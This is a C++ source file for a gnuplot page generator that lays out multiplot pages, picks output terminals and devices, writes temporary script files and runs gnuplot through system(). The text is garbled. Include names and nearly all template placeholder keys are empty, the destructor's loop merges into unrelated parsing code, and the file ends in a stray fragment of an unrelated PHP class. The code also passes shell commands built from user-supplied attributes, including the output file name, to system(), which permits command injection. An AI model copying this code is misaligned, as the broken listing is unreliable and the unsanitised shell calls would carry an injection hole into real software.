\n#include \n#include \n\n#include \"gp_view_page_node.hh\"\n#include \"gp_version.hh\"\n#include \"gp_colors.hh\"\n#include \"gp_utilities.hh\"\n\n//#define DEBUG 1\n// CLASS VARIABLE INITIALIZATION\nint GPViewPageNode::instance_count = 0;\n\n\n// DESTRUCTOR\nGPViewPageNode::~GPViewPageNode() {\n\n GPViewPlotNode *gp_view_plot_node;\n int n,i;\n\n #ifdef DEBUG\n cout << \"GPViewPageNode DESTRUCTOR.\" << endl;\n #endif\n\n n = (int)plot_node_list.size();\n for (i=0 ; igetAttribute(\"hcells\")) != NULL) {\n n_hcells = atoi(ncells_s);\n if ((n_hcells < 0)||(n_hcells > 10)) {\n std::cerr << \"Value for hcells attribute is out of range.\\n\"\n << \"Valid range for hcells is 1 .. 10.\\n\"\n << \"Ignoring hcells value.\" << std::endl ;\n n_hcells = 1;\n }\n } else {\n n_hcells = 1;\n }\n\n if ((ncells_s = Page->getAttribute(\"vcells\")) != NULL) {\n n_vcells = atoi(ncells_s);\n if ((n_vcells < 0)||(n_vcells > 10)) {\n std::cerr << \"Value for vcells attribute is out of range.\\n\"\n << \"Valid range for vcells is 1 .. 10.\\n\"\n << \"Ignoring vcells value.\\n\" << std::endl ;\n n_vcells = 1;\n }\n } else {\n n_vcells = 1;\n }\n\n\n //! Build the page part of the template.\n textbuf.print(\"%s\", separator);\n textbuf.print(\"# (generated for GNUPLOT Version )\\n\");\n textbuf.print(\"# To execute, run the following command:\\n\");\n textbuf.print(\"# %% gnuplot -persist file_name [ENTER]\\n\");\n textbuf.print(\"#\\n\");\n textbuf.print(\"# Template:\\n\");\n textbuf.print(\"%s\", separator);\n textbuf.print(\"set title \\\"\\\"\\n\");\n\n //! Terminal spec line\n textbuf.print(\"%s\", new_section);\n textbuf.print(\"%s\", separator);\n textbuf.print(\"# Set the output device\\n\");\n textbuf.print(\"%s\", separator);\n if ( GnuplotVersion() >= 4.2 ) {\n textbuf.print(\"set term \\n\");\n } else if ( GnuplotVersion() >= 4.0 ) {\n textbuf.print(\"set term \\n\");\n } else {\n textbuf.print(\"set term \\n\");\n }\n\n //! Page size for whole page\n textbuf.print(\"%s\", new_section);\n textbuf.print(\"%s\", separator);\n textbuf.print(\"# Set \\\"page\\\" size for whole plot\\n\");\n textbuf.print(\"%s\", separator);\n textbuf.print(\"set size 1.0,1.0\\n\");\n textbuf.print(\"set origin 0.0,0.0\\n\");\n\n //! Default option for all plots\n textbuf.print(\"%s\", new_section);\n textbuf.print(\"%s\", separator);\n textbuf.print(\"# Set default options for all plots\\n\");\n textbuf.print(\"%s\", separator);\n textbuf.print(\" \\n\");\n textbuf.print(\"set nolabel\\n\");\n if ( GnuplotVersion() >= 4.0 ) {\n textbuf.print(\"set mouse\\n\");\n textbuf.print(\"set style data \\n\");\n textbuf.print(\"set style function \\n\");\n }\n\n /*!\n * OPTIONAL PAGE SETTINGS\n */\n if ( GnuplotVersion() >= 4.0 ) {\n textbuf.print(\"\");\n textbuf.print(\"\");\n }\n textbuf.print(\"\");\n textbuf.print(\"\");\n textbuf.print(\"\");\n textbuf.print(\"\"); // key is the legend\n\n //! Linestyles\n char version_line_style[32] ;\n textbuf.print(\"%s\", new_section);\n textbuf.print(\"%s\", separator);\n textbuf.print(\"# Set linestyles\\n\");\n textbuf.print(\"# color scheme may differ if \\\"-xrm\\\" option was used\\n\");\n textbuf.print(\"%s\", separator);\n textbuf.print(\"line_type_1 = \\n\");\n textbuf.print(\"line_type_2 = \\n\");\n textbuf.print(\"line_type_3 = \\n\");\n textbuf.print(\"line_type_4 = \\n\");\n textbuf.print(\"line_type_5 = \\n\");\n textbuf.print(\"line_type_6 = \\n\");\n textbuf.print(\"line_type_7 = \\n\");\n textbuf.print(\"line_type_8 = \\n\");\n textbuf.print(\"line_type_9 = \\n\");\n textbuf.print(\"line_type_10 = \\n\");\n textbuf.print(\"line_type_11 = \\n\");\n textbuf.print(\"line_type_12 = \\n\");\n textbuf.print(\"line_type_13 = \\n\");\n\n textbuf.print(\"\\n\");\n textbuf.print(\"point_shape_1 = \\n\");\n textbuf.print(\"point_shape_2 = \\n\");\n textbuf.print(\"point_shape_3 = \\n\");\n textbuf.print(\"point_shape_4 = \\n\");\n textbuf.print(\"point_shape_5 = \\n\");\n textbuf.print(\"point_shape_6 = \\n\");\n textbuf.print(\"point_shape_7 = \\n\");\n textbuf.print(\"point_shape_8 = \\n\");\n textbuf.print(\"point_shape_9 = \\n\");\n textbuf.print(\"point_shape_10 = \\n\");\n textbuf.print(\"point_shape_11 = \\n\");\n textbuf.print(\"point_shape_12 = \\n\");\n textbuf.print(\"point_shape_13 = \\n\");\n\n //!Map Symbol Style pulldown menu to internal gnuplot shape indexes\n textbuf.print(\"\\n\");\n textbuf.print(\"None = -1\\n\");\n textbuf.print(\"Square = 4\\n\");\n textbuf.print(\"Circle = 6\\n\");\n textbuf.print(\"Star = 3\\n\");\n textbuf.print(\"XX = 2\\n\");\n textbuf.print(\"Triangle = 8\\n\");\n textbuf.print(\"Solid_Square = 5\\n\");\n textbuf.print(\"Solid_Circle = 7\\n\");\n textbuf.print(\"Thick_Square = 5\\n\");\n\n //! Define a numerical value for the Symbol Size pulldown menu\n textbuf.print(\"\\n\");\n textbuf.print(\"Tiny = 0.4\\n\");\n textbuf.print(\"Small = 0.8\\n\");\n textbuf.print(\"Medium = 1.4\\n\");\n textbuf.print(\"Large = 3.0\\n\");\n\n textbuf.print(\"\\n\");\n if ( GnuplotVersion() >= 4.0 ) {\n strcpy(version_line_style, \"style line\") ;\n } else {\n strcpy(version_line_style, \"linestyle\") ;\n }\n textbuf.print(\"set %s 1 \\n\", version_line_style);\n textbuf.print(\"set %s 2 \\n\", version_line_style);\n textbuf.print(\"set %s 3 \\n\", version_line_style);\n textbuf.print(\"set %s 4 \\n\", version_line_style);\n textbuf.print(\"set %s 5 \\n\", version_line_style);\n textbuf.print(\"set %s 6 \\n\", version_line_style);\n textbuf.print(\"set %s 7 \\n\", version_line_style);\n textbuf.print(\"set %s 8 \\n\", version_line_style);\n textbuf.print(\"set %s 9 \\n\", version_line_style);\n textbuf.print(\"set %s 10 \\n\", version_line_style);\n textbuf.print(\"set %s 11 \\n\", version_line_style);\n textbuf.print(\"set %s 12 \\n\", version_line_style);\n textbuf.print(\"set %s 13 \\n\", version_line_style);\n\n //! Y Axes alignment command\n textbuf.print(\"%s\", new_section);\n textbuf.print(\"%s\", separator);\n textbuf.print(\"# Force y-axes to align\\n\");\n textbuf.print(\"%s\", separator);\n textbuf.print(\"set lmargin 7\\n\");\n\n //! Titles for whole page\n textbuf.print(\"%s\", new_section);\n textbuf.print(\"%s\", separator);\n textbuf.print(\"# Add title(s) for the whole page\\n\");\n textbuf.print(\"%s\", separator);\n\n\n //! Page Title\n textbuf.print(\"set label \\\\\\n\");\n textbuf.print(\" \\\"\\\" \\\\\\n\");\n textbuf.print(\" at screen ,\\\\\\n\");\n textbuf.print(\" screen ,\\\\\\n\");\n textbuf.print(\" screen 0.0 \\\\\\n\");\n textbuf.print(\" \\\\\\n\");\n textbuf.print(\" font \\n\\n\");\n\n textbuf.print(\"set label \\\\\\n\");\n textbuf.print(\" \\\"\\\" \\\\\\n\");\n textbuf.print(\" at screen ,\\\\\\n\");\n textbuf.print(\" screen ,\\\\\\n\");\n textbuf.print(\" screen 0.0 \\\\\\n\");\n textbuf.print(\" \\\\\\n\");\n textbuf.print(\" font \\n\\n\");\n\n //! Another title with Simname/Runname\n textbuf.print(\"%s\", new_section);\n textbuf.print(\"%s\", separator);\n textbuf.print(\"# Add label(s) for the sim and run names\\n\");\n textbuf.print(\"%s\", separator);\n\n textbuf.print(\"set label \\\\\\n\");\n textbuf.print(\" \\\"\\\" \\\\\\n\");\n textbuf.print(\" at screen , \\\\\\n\");\n textbuf.print(\" screen , \\\\\\n\");\n textbuf.print(\" screen 0.0 \\\\\\n\");\n textbuf.print(\" \\\\\\n\");\n textbuf.print(\" font \\n\\n\");\n\n //! Date (i.e., 4/2/2009)\n textbuf.print(\"set label \\\\\\n\");\n textbuf.print(\" \\\"\\\" \\\\\\n\");\n textbuf.print(\" at screen , \\\\\\n\");\n textbuf.print(\" screen , \\\\\\n\");\n textbuf.print(\" screen 0.0 \\\\\\n\");\n textbuf.print(\" \\\\\\n\");\n textbuf.print(\" font \\n\\n\");\n\n //! Multiplot command\n textbuf.print(\"%s\", new_section);\n textbuf.print(\"%s\", separator);\n textbuf.print(\"# Multiplot mode\\n\");\n textbuf.print(\"%s\", separator);\n textbuf.print(\"set multiplot\\n\");\n\n //! Plot sections\n textbuf.print(\"%s\", new_section);\n textbuf.print(\"%s\", separator);\n textbuf.print(\"# Set defs for plot sizes and locations\\n\");\n textbuf.print(\"%s\", separator);\n textbuf.print(\"plot_width = \\n\");\n textbuf.print(\"plot_height = \\n\");\n textbuf.print(\"plot_title_xpos = \\n\");\n textbuf.print(\"plot_title_ypos = \\n\");\n\n textbuf.print(\"\\n\");\n textbuf.print(\"x_axis_label_xpos = \\n\");\n textbuf.print(\"x_axis_label_ypos = \\n\");\n textbuf.print(\"y_axis_label_xpos = \\n\");\n textbuf.print(\"y_axis_label_ypos = \\n\");\n\n // -----------------\n instance_count ++;\n}\n\nstatic void layout_page (GPViewPageNode* gp_view_page_node ) {\n\n int n_horizontal_cells, n_vertical_cells;\n double cell_width, cell_height;\n int number_of_plots;\n int plot_ix;\n char value_text[10];\n\n number_of_plots = (int)gp_view_page_node->plot_node_list.size();\n\n n_horizontal_cells = gp_view_page_node->n_hcells;\n n_vertical_cells = gp_view_page_node->n_vcells;\n\n while((n_horizontal_cells * n_vertical_cells) < number_of_plots ) {\n if (n_horizontal_cells <= n_vertical_cells) {\n n_horizontal_cells++;\n } else {\n n_vertical_cells++;\n }\n }\n\n // CALCULATE PLOT WIDTH\n cell_width = 1.0 / n_horizontal_cells;\n sprintf(value_text, \"%5.3f\", cell_width);\n gp_view_page_node->textbuf.subst(\"\", value_text);\n\n // CALCULATE PLOT HEIGHT\n cell_height = 1.0 / n_vertical_cells;\n sprintf(value_text, \"%5.3f\", cell_height);\n gp_view_page_node->textbuf.subst(\"\", value_text);\n\n for (plot_ix=0; plot_ix< number_of_plots; plot_ix++) {\n float x,y;\n char key_text[20];\n\n sprintf(key_text, \"\", plot_ix);\n x = (float)((plot_ix % n_horizontal_cells) * cell_width);\n sprintf(value_text, \"%5.3f\", x);\n gp_view_page_node->textbuf.subst(key_text, value_text);\n\n\n sprintf(key_text, \"\", plot_ix);\n y = (float)(1.0 - ((plot_ix / n_horizontal_cells) * cell_height + cell_height));\n sprintf(value_text, \"%5.3f\", y);\n gp_view_page_node->textbuf.subst(key_text, value_text);\n }\n}\n\nvoid GPViewPageNode::finalize() {\n\n int ii;\n const char *separator = \"#------------------------------------------------\\n\";\n const char *new_section = \"\\n\\n\";\n string page_title;\n string page_legend;\n string page_fg_color;\n string page_bg_color;\n string page_font; /* X11 font naming convention */\n char gp_template_file_name[512];\n char outFileName[512];\n string tmp_string;\n stringstream tmp_stream;\n stringstream cmd;\n string extension;\n string::size_type idx;\n int xx_geom = 850; //default gnuplot window width\n int yy_geom = 657; //default gnuplot window height\n int max_num_curves = 0;\n\n /*!\n * Gnuplot knows a limited number of color names.\n * To see the list of known color names, run...\n * % gnuplot -e 'show palette colornames'\n */\n string plotColors[]= { \"black\", \"red\", \"blue\", \"green\", \"magenta\",\n \"yellow\", \"cyan\", \"pink\", \"dark-green\",\n \"light-blue\", \"purple\", \"orange\", \"brown\" };\n int n_CustomColors = sizeof(plotColors)/sizeof(plotColors[0]);\n\n /**!\n * WARNING: getAttribute() returns a const char *, which may be null.\n * Assigning a null pointer to a string will crash the plot.\n * So, check the return value before making the assignment.\n */\n page_title = (page->getTitle()) ? page->getTitle() : \"Page\";\n page_legend = (page->getAttribute(\"legend\")) ? page->getAttribute(\"legend\") : \"\";\n page_bg_color = (page->getAttribute(\"background_color\")) ? page->getAttribute(\"background_color\") : \"\";\n page_fg_color = (page->getAttribute(\"foreground_color\")) ? page->getAttribute(\"foreground_color\") : \"\";\n page_font = (page->getAttribute(\"font\")) ? page->getAttribute(\"font\") : \"\";\n\n\n //! Nomultiplot command\n textbuf.print(\"\\n\");\n textbuf.print(\"%s\", new_section);\n textbuf.print(\"%s\", separator);\n textbuf.print(\"# For some terminals, plots are not displayed\\n\");\n textbuf.print(\"# until the command `unset multiplot` is given.\\n\");\n textbuf.print(\"# Return to single plot mode to switch device\\n\");\n textbuf.print(\"%s\", separator);\n textbuf.print(\"unset multiplot\\n\");\n\n\n //! Get Gnuplot Terminal setting\n terminalType_txt = (page->getAttribute(\"gnuplot_terminal\")) ? page->getAttribute(\"gnuplot_terminal\") : \"\";\n if ( strcasecmp(terminalType_txt.c_str(), \"X11\") == 0 ) {\n\n terminalType = GPViewPageNode::X11;\n terminalType_txt = \"x11\";\n\n } else if ( strcasecmp(terminalType_txt.c_str(), \"PS\") == 0 ) {\n\n terminalType = GPViewPageNode::PS;\n terminalType_txt = \"postscript\";\n extension = \".ps\";\n\n } else if ( strcasecmp(terminalType_txt.c_str(), \"PS_COLOR\") == 0 ) {\n\n terminalType = GPViewPageNode::PS_COLOR;\n terminalType_txt = \"postscript\";\n extension = \".ps\";\n\n } else if ( strcasecmp(terminalType_txt.c_str(), \"PNG\") == 0 ) {\n\n terminalType = GPViewPageNode::PNG;\n terminalType_txt = \"png\";\n extension = \".png\";\n\n } else if ( strcasecmp(terminalType_txt.c_str(), \"EPS\") == 0 ) {\n\n terminalType = GPViewPageNode::EPS;\n terminalType_txt = \"eps\";\n extension = \".eps\";\n\n } else if ( strcasecmp(terminalType_txt.c_str(), \"AQUA\") == 0 ) {\n\n terminalType = GPViewPageNode::AQUA;\n terminalType_txt = \"x11\";\n\n } else {\n cerr << \"ERROR: Bad terminal-type spec: \\\"\" << tmp_string << \"\\\"\" << endl;\n cerr << \"Defaulting terminal-type to \\\"x11.\\\"\" << endl;\n terminalType = GPViewPageNode::X11 ;\n terminalType_txt = \"x11\";\n }\n\n\n //! Get Destination setting\n device_txt = (page->getAttribute(\"device\")) ? page->getAttribute(\"device\") : \"\";\n if ( strcasecmp(device_txt.c_str(), \"TERMINAL\") == 0 ) {\n\n device = GPViewPageNode::TERMINAL;\n\n } else if ( strncasecmp(device_txt.c_str(), \"FILE\", 4) == 0 ) {\n\n device = GPViewPageNode::DISK ;\n //! copy from first space character to end of string\n diskFileName = device_txt.substr( device_txt.find(\" \") );\n\n //! output may not redirect to file format with some terminal types\n switch ( terminalType ) {\n case GPViewPageNode::X11:\n case GPViewPageNode::AQUA:\n //! Force to a different format before going to file.\n terminalType_txt = \"postscript\";\n extension = \".ps\";\n break;\n default:\n break;\n }\n\n } else if ( strcasecmp(device_txt.c_str(), \"PRINTER\") == 0 ) {\n\n device = GPViewPageNode::PRINTER;\n terminalType_txt = \"postscript\";\n\n } else {\n cerr << \"ERROR: Bad device spec: \\\"\" << device_txt << \"\\\"\" << endl;\n cerr << \"Defaulting device to \\\"Terminal.\\\"\" << endl;\n device = GPViewPageNode::TERMINAL;\n }\n\n\n // ==================================================\n // POPULATE THE TEMPLATE\n // ==================================================\n tmp_stream.str(\"\");\n tmp_stream << GnuplotVersion() ;\n textbuf.subst_g(\"\", tmp_stream.str().c_str() );\n textbuf.subst_g(\"\", page_title.c_str());\n textbuf.subst_g(\"\", terminalType_txt.c_str());\n if ( (plot_node_list.size()%5 == 2 || plot_node_list.size()%5 == 3) &&\n plot_node_list.size() > 2 ) {\n xx_geom = 600;\n yy_geom = 720;\n }\n tmp_stream.str(\"\");\n tmp_stream << \"size \" << xx_geom << \",\" << yy_geom ;\n textbuf.subst_g(\"\", tmp_stream.str().c_str() );\n if ( strcasecmp(terminalType_txt.c_str(), \"x11\") == 0 ) {\n if ( GnuplotVersion() >= 4.0 ) {\n textbuf.subst_g(\"\", \"persist\");\n }\n } else {\n textbuf.subst_g(\"\", \"\");\n }\n\n //! Enable/Disable Grid\n textbuf.subst_g(\"\", \"set grid\");\n if ( GnuplotVersion() >= 4.2 &&\n ! page_fg_color.empty() && color_is_valid(&page_fg_color) ) {\n tmp_stream.str(\"\");\n tmp_stream << \"linecolor rgb \\\"\" << page_fg_color << \"\\\"\" ;\n //! Also change border color to match grid color\n tmp_stream << \"\\nset border linecolor rgb \\\"\" << page_fg_color << \"\\\"\" ;\n textbuf.subst_g( \"\", tmp_stream.str().c_str() );\n } else {\n textbuf.subst_g( \"\", \"\" );\n }\n\n //! plotting style for Data plots\n textbuf.subst_g(\"\", \"lines\");\n //! plotting style for Function plots\n textbuf.subst_g(\"\", \"lines\");\n\n textbuf.subst_g(\"\", \"unset logscale x\\n\");\n textbuf.subst_g(\"\", \"set format y\\n\");\n textbuf.subst_g(\"\", \"unset logscale y\\n\");\n textbuf.subst_g(\"\", \"\");\n textbuf.subst_g(\"\", \"\");\n\n //! Enable/Disable key (legend).\n if ( page_legend.compare(\"No\") == 0 ) {\n if ( GnuplotVersion() >= 4.0 ) {\n textbuf.subst_g(\"\", \"set key off\\n\");\n } else {\n textbuf.subst_g(\"\", \"set nokey\\n\");\n }\n } else {\n string vert_spacing_ = \"\";\n if ( GnuplotVersion() < 4.2 ) {\n vert_spacing_ = \" spacing 0.5\";\n }\n tmp_stream.str(\"\");\n tmp_stream << \"set key below Left reverse\" << vert_spacing_ << \"\\n\" ;\n textbuf.subst_g( \"\", tmp_stream.str().c_str() );\n\n /* Increase window size so key doesn't cause graph to shrink */\n for (ii = 0; ii < (int)plot_node_list.size(); ii++) {\n if ((int)plot_node_list[ii]->curve_node_list.size() > max_num_curves) {\n max_num_curves = plot_node_list[ii]->curve_node_list.size();\n }\n }\n yy_geom += max_num_curves*10; // stretch 10 pixels per Y-var label\n }\n\n //! Set Font\n if ( ! page_font.empty() ) {\n tmp_stream.str(\"\");\n //! insert a backslash(\\), newline & indent 4 spaces\n tmp_stream << \"\\\\\\n font \\\"\" << page_font << \"\\\"\" ;\n textbuf.subst_g( \"\", tmp_stream.str().c_str() );\n } else {\n textbuf.subst_g(\"\", \"\\\\\\n font \");\n }\n\n textbuf.subst_g(\"\", \"-1 #black\");\n textbuf.subst_g(\"\", \" 1 #red\");\n textbuf.subst_g(\"\", \" 3 #blue\");\n textbuf.subst_g(\"\", \" 2 #green\");\n textbuf.subst_g(\"\", \" 0 #magenta\");\n textbuf.subst_g(\"\", \" 7 #yellow\");\n textbuf.subst_g(\"\", \" 5 #cyan\");\n textbuf.subst_g(\"\", \" 0 #pink\");\n textbuf.subst_g(\"\", \" 0 #dark-green\");\n textbuf.subst_g(\"\", \" 0 #light-blue\");\n textbuf.subst_g(\"\", \" 4 #purple\");\n textbuf.subst_g(\"\", \" 8 #orange\");\n textbuf.subst_g(\"\", \" 6 #brown\");\n\n textbuf.subst_g(\"\", \" 1 #plus\");\n textbuf.subst_g(\"\", \" 2 #cross\");\n textbuf.subst_g(\"\", \" 3 #astrisk\");\n textbuf.subst_g(\"\", \" 4 #open_square\");\n textbuf.subst_g(\"\", \" 5 #filled_square\");\n textbuf.subst_g(\"\", \" 6 #open_circle\");\n textbuf.subst_g(\"\", \" 7 #filled_circle\");\n textbuf.subst_g(\"\", \" 8 #open_triangle\");\n textbuf.subst_g(\"\", \" 9 #filled_triangle\");\n textbuf.subst_g(\"\", \"10 #open_inverse-triangle\");\n textbuf.subst_g(\"\", \"11 #filled_inverse-triangle\");\n textbuf.subst_g(\"\", \"12 #open_diamond\");\n textbuf.subst_g(\"\", \"13 #filled_diamond\");\n\n textbuf.subst_g(\"\", \"lw 1.0 pt point_shape_1 ps Small\");\n textbuf.subst_g(\"\", \"lw 1.0 pt point_shape_2 ps Small\");\n textbuf.subst_g(\"\", \"lw 1.0 pt point_shape_3 ps Small\");\n textbuf.subst_g(\"\", \"lw 1.0 pt point_shape_4 ps Small\");\n textbuf.subst_g(\"\", \"lw 1.0 pt point_shape_5 ps Small\");\n textbuf.subst_g(\"\", \"lw 1.0 pt point_shape_6 ps Small\");\n textbuf.subst_g(\"\", \"lw 1.0 pt point_shape_7 ps Small\");\n textbuf.subst_g(\"\", \"lw 1.0 pt point_shape_8 ps Small\");\n textbuf.subst_g(\"\", \"lw 1.0 pt point_shape_9 ps Small\");\n textbuf.subst_g(\"\",\"lw 1.0 pt point_shape_10 ps Small\");\n textbuf.subst_g(\"\",\"lw 1.0 pt point_shape_11 ps Small\");\n textbuf.subst_g(\"\",\"lw 1.0 pt point_shape_12 ps Small\");\n textbuf.subst_g(\"\",\"lw 1.0 pt point_shape_13 ps Small\");\n\n if ( GnuplotVersion() >= 4.2 ) {\n for (ii = 0; ii < n_CustomColors; ii++) {\n //! build template (e.g. \"\")\n tmp_stream.str(\"\");\n tmp_stream << \"\" ;\n tmp_string = tmp_stream.str();\n //! build string (e.g. \"linecolor rgb \\\"black\\\"\")\n tmp_stream.str(\"\");\n tmp_stream << \"linecolor rgb \\\"\" << plotColors[ii] << \"\\\"\" ;\n //! Replace template with string\n textbuf.subst_g( tmp_string.c_str(), tmp_stream.str().c_str() );\n }\n } else {\n /*!\n * Change gnuplot's default line colors (1=red 2=green 3=blue\n * 4=magenta 5=cyan 6=sienna 7=orange 8=coral) for plot.\n * Note: This is only used when co-plotting multiple RUN_ dirs.\n */\n for (ii = 0; ii < n_CustomColors; ii++) {\n tmp_stream.str(\"\");\n tmp_stream << \"\" ;\n //! Clear template; use new line#Color definitions from \"-xrm\" options\n textbuf.subst_g( tmp_stream.str().c_str(), \"\" );\n }\n }\n\n tmp_stream.str(\"\");\n if ( GnuplotVersion() < 4.2 || page_fg_color.empty() ||\n !page_fg_color.empty() ) {\n tmp_stream << \"#\" ; /* comment out the textcolor command */\n }\n tmp_stream << \"textcolor rgb \\\"\" << page_fg_color << \"\\\"\" ;\n textbuf.subst_g(\"\", tmp_stream.str().c_str());\n\n textbuf.subst_g(\"\", \"1\");\n textbuf.subst_g(\"\", page_title.c_str());\n textbuf.subst_g(\"\", \"0.51\");\n textbuf.subst_g(\"\", \"0.97\");\n textbuf.subst_g(\"\", \"center\");\n textbuf.subst_g(\"\", \"\\\"Helvetica,14\\\"\");\n\n textbuf.subst_g(\"\", \"2\");\n textbuf.subst_g(\"\", \"\");\n textbuf.subst_g(\"\", \"0.51\");\n textbuf.subst_g(\"\", \"0.95\");\n textbuf.subst_g(\"\", \"center\");\n textbuf.subst_g(\"\", \"\\\"Helvetica,10\\\"\");\n\n textbuf.subst_g(\"\", \"3\");\n textbuf.subst_g(\"\", \"`whoami`\");\n textbuf.subst_g(\"\", \"0.99\");\n textbuf.subst_g(\"\", \"0.99\");\n textbuf.subst_g(\"\", \"right\");\n textbuf.subst_g(\"\", \"\\\"Helvetica,8\\\"\");\n\n textbuf.subst_g(\"\", \"4\");\n textbuf.subst_g(\"\", \"`date +%m/%d/%Y`\");\n textbuf.subst_g(\"\", \"0.99\");\n textbuf.subst_g(\"\", \"0.957\");\n textbuf.subst_g(\"\", \"right\");\n textbuf.subst_g(\"\", \"\\\"Helvetica,8\\\"\");\n\n textbuf.subst_g(\"\", \"0.0\");\n textbuf.subst_g(\"\", \"0.2\");\n textbuf.subst_g(\"\", \"0.0\");\n textbuf.subst_g(\"\", \"0.6\");\n if ( GnuplotVersion() < 4.2 ) {\n textbuf.subst_g(\"\", \"0.6\");\n } else {\n textbuf.subst_g(\"\", \"1.4\");\n }\n textbuf.subst_g(\"\", \"0.0\");\n\n textbuf.subst_g(\"\", \"\\\"Helvetica,12\\\"\");\n\n layout_page ( this );\n\n //! Figure out where we can create a temporary file.\n if (!access(\"/tmp\", W_OK)) {\n strncpy(gp_template_file_name,\n \"/tmp/dpx_gp_page_XXXXXX\", sizeof(gp_template_file_name));\n\n } else if (!access(\"/var/tmp\", W_OK)) {\n strncpy(gp_template_file_name,\n \"/var/tmp/dpx_gp_page_XXXXXX\", sizeof(gp_template_file_name));\n\n } else {\n std::cerr << \"Unable to access /tmp or /var/tmp, where a temporary\\n\"\n << \"file (that represents gnuplot commands) needs\\n\"\n << \"to be created. Please check your permissions.\" << std::endl ;\n return;\n }\n\n //! Create a name for our temporary gnuplot command file.\n if (mkstemp( gp_template_file_name) < 0) {\n std::cerr << \"Unable to generate a temporary file\"\n << \"name for some mind boggling reason.\" << std::endl ;\n return;\n }\n\n\n if ( save_tmp_files ) {\n\n cout << \"Keeping data associated with this gnuplot file : \" << gp_template_file_name << endl;\n\n //! Comment out all commands that delete temp data files\n textbuf.subst_g(\"\", \"#\");\n\n } else {\n\n //! Allow all temp data files to be deleted\n textbuf.subst_g(\"\", \"\");\n\n }\n\n\n //! If user would like to see this template, print it to stdout\n //if (args.generate_template) {\n // cout << textbuf.getText() << endl;\n //}\n\n /*!\n * SAVE buffer TO FILE with given filename.\n * Note: must save to file prior to sending to PRINTER device.\n */\n textbuf.writeFile( (const char*)gp_template_file_name );\n\n\n cmd << \"gnuplot\";\n if ( ! page_fg_color.empty() && color_is_valid(&page_fg_color) ) {\n cmd << \" -xrm 'gnuplot*textColor:\" << page_fg_color << \"'\" ;\n cmd << \" -xrm 'gnuplot*borderColor:\" << page_fg_color << \"'\" ;\n cmd << \" -xrm 'gnuplot*axisColor:\" << page_fg_color << \"'\" ;\n }\n if ( ! page_bg_color.empty() && color_is_valid(&page_bg_color) ) {\n cmd << \" -xrm 'gnuplot*background:\" << page_bg_color << \"'\" ;\n }\n /*!\n * Set X11 line colors.\n * Line colors are global per page in gnuplot.\n * And there are at max 8 default colors. (%man gnuplot)\n */\n for (ii = 0; ii < n_CustomColors; ii++) {\n cmd << \" -xrm 'gnuplot*line\" << ii+1 << \"Color:\" << plotColors[ii] << \"'\" ;\n }\n\n if ( device > GPViewPageNode::NOT_SET ) {\n cerr << \"ERROR: GPViewPageNode::finalize() called with invalid device.\\n\"\n << \"Example devices are TERMINAL, DISK and PRINTER.\\n\"\n << \"It is an enumerated type in the GPViewPageNode class.\\n\" ;\n exit(-1);\n }\n\n switch ( device ) {\n\n case GPViewPageNode::DISK:\n\n if ( diskFileName.empty() ) {\n cerr << \"ERROR: GPViewPageNode::finalize() called without \"\n << \"setting output file. When you are sending data \"\n << \"to disk, you must set output file name.\"\n << endl ;\n exit(-1);\n }\n\n //! Remove any quotes from string\n while ( 1 ) {\n idx = diskFileName.find('\"');\n if ( idx != string::npos ) {\n diskFileName.erase(idx,1);\n } else {\n break ;\n }\n }\n\n /*!\n * The weird rfind(), substr() and erase() are used\n * to make sure that if the outfile name already\n * has an extension that we don't duplicate it\n */\n idx = diskFileName.rfind('.');\n if ( idx != string::npos ) {\n if (diskFileName.substr(idx) == extension) {\n diskFileName.erase(idx);\n }\n }\n\n tmp_stream.str(\"\");\n tmp_stream << instance_count ;\n diskFileName.append( tmp_stream.str() );\n diskFileName.append( extension );\n\n //! Complete command by generating an output file from the gnuplot file.\n cmd << \" \" << gp_template_file_name << \" >& \" << diskFileName;\n cout << \"Generating \" << diskFileName << \"...\" << endl;\n cout.flush();\n if ( system(cmd.str().c_str()) > -1 ) {\n cout << \"Done.\" << endl;\n }\n\n //! Run postscript file through a filter\n if ( terminalType == PS ) {\n filterPostScriptBW( diskFileName.c_str() );\n } else if ( terminalType == PS_COLOR || terminalType == EPS) {\n filterPostScriptColor( diskFileName.c_str(), this );\n }\n\n break;\n\n case GPViewPageNode::PRINTER:\n\n //! Figure out where we can create a temporary file.\n if (!access(\"/tmp\", W_OK)) {\n strncpy(outFileName,\n \"/tmp/dpx_gxplot_XXXXXX\", sizeof(outFileName));\n\n } else if (!access(\"/var/tmp\", W_OK)) {\n strncpy(outFileName,\n \"/var/tmp/dpx_gxplot_XXXXXX\", sizeof(outFileName));\n\n } else {\n std::cerr << \"Unable to access /tmp or /var/tmp, where a temporary\\n\"\n << \"file for printing needs to be created.\\n\"\n << \"Please check your permissions.\" << std::endl ;\n return;\n }\n\n //! Create a name for our temporary gnuplot command file.\n if (mkstemp(outFileName) < 0) {\n std::cerr << \"Unable to generate a temporary file\"\n << \"name for some mind boggling reason.\" << std::endl ;\n return;\n }\n\n //! Complete command by generating an output file from the gnuplot file.\n cmd << \" \" << gp_template_file_name << \" >& \" << outFileName;\n cout << \"Generating output file : \" << outFileName << \"...\" << endl;\n if ( system(cmd.str().c_str()) > -1 ) {\n cout << \"Done.\" << endl;\n }\n\n //! Run postscript file through a filter\n filterPostScriptBW(outFileName);\n\n //! Print the file\n if ( printPS((const char*)outFileName) > -1 ) {\n cout << \"Complete.\" << endl;\n cout.flush();\n }\n\n if ( !save_tmp_files ) {\n //! Clean up output file.\n tmp_stream.str(\"\");\n tmp_stream << \"rm -f \" << outFileName ;\n tmp_stream << \"; rm -f \" << gp_template_file_name;\n system( tmp_stream.str().c_str() );\n }\n\n break;\n\n case GPViewPageNode::NOT_SET:\n break;\n\n case GPViewPageNode::TERMINAL:\n default:\n\n cmd << \" -persist\";\n cmd << \" -geometry \" << xx_geom << \"x\" << yy_geom ; //e.g. 850x657\n\n //! Complete the command by providing the gnuplot file name.\n cmd << \" \" << gp_template_file_name ;\n\n if ( !save_tmp_files ) {\n /*!\n * After the plot is drawn, add another command to delete\n * the temporary gnuplot file: '/tmp/dpx_gp_page_******'.\n */\n cmd << \"; rm -f \" << gp_template_file_name;\n }\n\n /*!\n * Run the system command to create the plot.\n * Example:\n * % \"gnuplot -persist -geometry 850x657 \\\n * -xrm 'gnuplot*textColor:black' /tmp/dpx_gp_page_******\"\n */\n system( cmd.str().c_str() );\n\n break;\n\n }\n\n}\n\n\n"} +{"text": "mGlobal = $global;\n\t\t$this->mClass = $class;\n\t\t$this->mParams = $params;\n\t}\n\n\t/**\n\t * Returns a bool value whetever $obj is a stub object. Can be used to break\n\t * a infinite loop when 